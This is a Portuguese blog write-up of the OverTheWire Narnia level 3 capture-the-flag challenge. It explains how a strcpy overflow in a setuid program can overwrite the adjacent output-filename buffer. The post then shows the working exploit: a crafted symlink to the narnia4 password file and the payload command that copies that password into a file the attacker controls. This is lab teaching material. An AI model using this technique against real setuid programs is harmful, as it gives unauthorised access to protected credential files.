[ Inicio ] [ Hacking ] [ CTFs ] [ Rant ]
.:: Brenn0 Weblog ::.

Título : Level 3 - Corrompendo variáveis locais na stack [OverTheWire CTF – Narnia]
Autor : brennords
Data : 07/01/2017
            

Dando seguimento a série de write ups do Narnia, chegou a hora de exploitar o level3.

narnia3@melinda:/narnia$ ./narnia3
usage, ./narnia3 file, will send contents of file 2 /dev/null

Ele pega o primeiro argumento como o caminho para um arquivo e envia o conteúdo desse arquivo para /dev/null? Não parece um programa muito útil.

Antes de qualquer análise, pensei que seria óbvio que, por ter permissões de narnia4, narnia3, de alguma forma, iria ler o conteúdo de /etc/narnia_pass/narnia4 e nos passar ao invés de jogar em /dev/null e não ajudar ninguém.

Mas como o código fonte está bem perto de nós, vamos observa-lo e descobrir se há alguma forma de explorar esta habilidade de leitura de arquivos.

Nada complexo. Mas vamos por partes.

int  ifd,  ofd;
char ofile[16] = /dev/null;
char ifile[32];
char buf[32];

As duas primeiras variáveis do tipo inteiro declaradas em main são ifd e ofd. Como o sugestivo nome indica, servem como file descriptors tanto para o arquivo de entrada, quanto para o de saída.

Na segunda linha vemos um vetor de caracteres chamado outputfile que guarda o valor “/dev/null”. É bem óbvio a razão para a existência do mesmo.

Na terceira, inputfile é mais um vetor de caracteres, com espaço para 32 dos mesmos, que não é inicializado. É nessa variável que mais tarde o código guardará o nome do arquivo de entrada, ou seja, nosso argumento para o programa.

A sexta e última variável declarada na última linha do código acima é outro vetor de caracteres chamado buf. Ele vai ser usado para guardar o conteúdo do arquivo de entrada e depois escrever este conteúdo no arquivo de saída.

Logo depois das declarações de variáveis, há um simples if que verifica se algum argumento foi passado.

    if(argc != 2){
        printf(usage, %s file, will send contents of file 2 /dev/null\n,argv[0]);
        exit(-1);
    }

A parte seguinte do código usa a função amiga dos buffer overflow e inimiga dos dados guardados na stack, strcpy, que sem nenhum cuidado vai copiar argv[1] direto para ifile. E, depois de fazer essa operação perigosa, usa os file descriptors para checar se há permissão de escrita e leitura em ofile, e leitura em ifile.

     /* open files */
     strcpy(ifile, argv[1]);
     if((ofd = open(ofile,O_RDWR)) 0 ){
         printf(error opening %s\n, ofile);
         exit(-1);
     }
     if((ifd = open(ifile, O_RDONLY)) 0 ){
         printf(error opening %s\n, ifile);
         exit(-1);
     }

Para finalizar, a última parte da função lê o ifile e copia o conteúdo para buf e logo depois escreve de buf para ofile. Fechando os arquivos logo depois.

    /* copy from file1 to file2 */
    read(ifd, buf, sizeof(buf)-1);
    write(ofd,buf, sizeof(buf)-1);
    printf(copied contents of %s to a safer place... (%s)\n,ifile,ofile);

    /* close 'em */
    close(ifd);
    close(ofd);

    exit(1);
    }

Depois de compreender todo o código, pareceu que para ganhar a flag bastava estourar ifile passando um argumento do mal que executasse /bin/sh assim como foi feito no último chall. Sei bem que não faria sentido que dois challs seguidos tivessem a mesma resolução, mas já aconteceu coisa parecida antes, então não custava tentar.

Mas essa ideia logo se mostrou impossível assim que mandei um checksec com o binário carregado no gdb aprimorado pelo peda.

narnia3@melinda:/tmp/2017$ gdb -q /narnia/narnia3
Reading symbols from /narnia/narnia3...(no debugging symbols found)...done.
(gdb) source /usr/local/peda/peda.py
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : disabled

O bit NX, que deriva da expressão em inglês No eXecute, é uma tecnologia usada em alguns processadores e sistemas operacionais que separa de modo rígido as áreas de memória que podem ser usadas para execução de código daquelas que só podem servir para armazenar dados. Ele é usada com propósitos de segurança.

Uma área da memória que esteja marcada com o atributo NX pode ser usada somente para guardar dados, então quaisquer instruções que estejam nela não serão executadas. A técnica serve para prevenir certos tipos de ataques feitos por malwares, quando o programa malicioso insere instruções na área de dados de outro programa, tentando que elas sejam executadas a partir de lá. Esse tipo de ataque é chamado de buffer overflow.

https://pt.wikipedia.org/wiki/Bit_NX</blockquote>

Isso significa que explorar o espaço da stack para guardar um shellcode e tentar executa-lo não irá funcionar.

E agora?

Em outros write ups já falei sobre a famigerada stack. Se você não faz ideia do que seja, recomendo que leia o write up do level 0 do próprio narnia que acredito ter conteúdo suficiente para que você me acompanhe. Mas, como sempre faço, vou deixando links pelo meio do post e te dando a ideia de usar o Google para ir tirando dúvidas.

No ínicio do processo, a função main vai ser executada e jogar suas variáveis na stack:

Um lindo desenho.

Como sabemos, as variáveis não inicializadas apenas terão espaço reservado, por isso fiz referência a elas pelo nome e, no caso de ofile, usei seu valor “/dev/null”.

E para não ficar apenas com essa abstração horrível em forma de desenho mais horrível ainda, te recomendo este link para que entendas bem melhor do que estou e continuarei falando.

Acredito que você se lembre de quando falei de strcpy. Na 22º linha do código do chall, seja lá qual for o tamanho do argumento que passarmos, ele será copiado para o espaço reservado para ifile. E se este argumento tiver mais de 32 caracteres, os dados irão invadir o espaço de ofile (e o que mais vinher depois, como ofd, ifd…).

Sabendo disso você até pode resolver o chall sozinho. Vá lá e só volte aqui para comparar soluções.

Tendo o poder de corromper o valor de ofile guardado no stack, a primeira ideia é a de modificar esse valor para um arquivo válido e sob nosso controle.

Tomei a liberdade fazer uma pequena alteração do código do chall só para ver isso acontecendo de forma mais prática, observe as inserções na linha 21 e 27:

Agora compilando e executando:

suamae@yourbox:~/tmp$ gcc narnia3.c -o narnia3
suamae@yourbox:~/tmp$ ./narnia3 `python -c 'print B*32 + ownded'`
Antes: /dev/null
error opening BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBownded
Depois: ownded

Exatamente o comportamento esperado.

Exploitation time!

Criei uma pasta em /tmp e dentro dela criei um link simbólico para /etc/narnia_pass/narnia4. O nome desse link era formado pelos 32 B’s necessários para preencher todo o espaço de ifile + flag (que é o nome do arquivo que também criei para que o processo escrevesse a flag).

narnia3@melinda:~$ cd /narnia
narnia3@melinda:/narnia$ mkdir /tmp/rddi
narnia3@melinda:/narnia$ ln -s /etc/narnia_pass/narnia4 /tmp/rddi/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBflag
narnia3@melinda:/narnia$ cd /tmp/rddi
narnia3@melinda:/tmp/rddi$ touch flag
narnia3@melinda:/tmp/rddi$ /narnia/narnia3 `python -c 'print B*32 + flag'`
copied contents of BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBflag to a safer place... (flag)
narnia3@melinda:/tmp/rddi$ cat flag
c2ljaw==
▒▒▒▒▒4▒▒▒▒_▒▒}0,narnia3@melinda:/tmp/rddi$